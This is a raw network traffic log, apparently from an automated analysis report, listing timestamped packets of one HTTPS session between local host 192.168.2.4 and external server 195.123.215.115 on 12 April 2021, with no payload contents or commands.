Apr 12, 2021 13:46:44.731508970 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.731573105 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.752798080 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.752850056 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.752891064 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.752918959 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.752929926 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.752969980 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.752996922 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.753009081 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.753066063 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.795928955 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796024084 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796107054 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.796138048 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796164036 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796179056 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796195030 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796211004 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796226025 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796237946 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796237946 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.796253920 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796255112 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.796269894 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796282053 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.796288013 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796304941 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796308994 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.796320915 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796338081 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796358109 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796361923 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.796376944 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796381950 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.796394110 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.796413898 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.796447039 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.798757076 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.798779964 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.798865080 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.820128918 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.820158958 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.820178986 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.820200920 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.820218086 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.820225000 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.820246935 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.820292950 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.820327997 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864056110 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864124060 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864166975 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864193916 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864203930 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864245892 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864260912 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864285946 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864324093 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864336014 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864362955 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864401102 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864427090 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864451885 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864494085 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864511967 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864530087 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864569902 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864578962 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864609003 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864645958 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864660978 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864686012 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864725113 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864749908 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.864774942 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.864825010 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.866493940 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.866549015 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.867676973 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.887454033 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.887506008 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.887552023 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.887578011 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.887594938 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.887634993 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.887653112 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.929672003 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932307959 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932358027 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932393074 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932394981 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932415962 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932435989 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932475090 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932476997 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932492018 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932517052 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932549000 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932554960 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932564974 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932594061 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932614088 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932647943 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932667971 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932689905 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932706118 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932729959 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932760954 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932786942 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932857990 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932895899 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932919025 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.932934999 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932965994 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.932997942 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.933026075 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.933073997 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.933104038 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.933116913 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.933155060 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.933155060 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.933171034 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.933212042 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.935303926 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.935343981 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.935378075 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.935551882 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.958852053 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.958905935 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.958925962 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.958944082 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.958961964 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.958982944 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:44.958990097 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:44.959044933 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.002702951 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.002758980 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.002798080 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.002810955 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.002835035 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.002846956 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.002854109 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.002875090 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.002913952 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.002918959 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.002962112 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.002976894 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.003006935 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.003046989 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.003083944 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.003097057 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.003123045 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.003139019 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.003160954 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.003200054 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.003226995 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.026664019 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.026716948 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.026830912 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.072551966 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072628021 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072665930 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072705030 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072742939 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072781086 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072810888 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.072818041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072866917 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072869062 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.072909117 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072936058 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.072946072 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.072987080 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.073070049 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.073257923 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.073343992 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.094145060 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.094201088 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.094352007 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.140222073 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140278101 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140316010 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140353918 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140391111 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140405893 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.140439034 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140485048 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.140485048 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140517950 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.140523911 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140563011 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140583992 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.140602112 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140640020 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140655041 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.140680075 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140717983 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140734911 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.140764952 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.140815973 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.161675930 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.161732912 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.161887884 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.208113909 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208179951 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208214045 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208251953 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208291054 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208329916 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208375931 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208404064 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.208419085 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208457947 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208483934 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.208502054 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208540916 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208543062 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.208579063 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208606958 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.208619118 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208658934 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.208731890 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.208815098 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.229371071 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.229473114 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.229705095 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.275947094 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276000977 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276051044 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276093006 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276108980 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.276132107 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276156902 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.276170969 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276211977 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276242018 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.276251078 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276289940 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276329041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276365042 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.276376963 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276421070 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276458025 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276499987 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276539087 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276566029 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.276576996 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.276632071 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.276679993 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.297080994 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.297128916 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.297399044 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.346527100 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346585035 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346615076 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346642971 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346683025 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346724987 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346772909 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346816063 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346853018 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346863031 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.346893072 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346932888 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.346963882 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.346970081 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.347008944 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.347035885 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.347048044 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.347081900 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.347098112 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.347141027 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.347170115 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.347255945 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.364778042 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.364835978 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.365031004 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.414493084 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414557934 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414597988 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414637089 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414675951 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414712906 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414752007 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414783001 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414783001 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.414824963 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414864063 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414901972 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414941072 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.414979935 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.415029049 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.415060997 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.415071964 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.415112019 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.415282011 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.432300091 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.432358027 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.432519913 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.484195948 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484261036 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484289885 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484319925 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484358072 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484405041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484447002 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484484911 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484525919 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484565973 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484580994 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.484602928 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484644890 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484682083 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484680891 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.484730005 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484747887 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.484774113 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484812021 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484817982 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.484852076 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484889984 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.484905005 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.484988928 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.501482010 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.501542091 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.501802921 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:45.552227974 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552289009 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552318096 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552347898 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552388906 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:45.552428007 CEST	443	49762	195.123.215.115	192.168.2.4
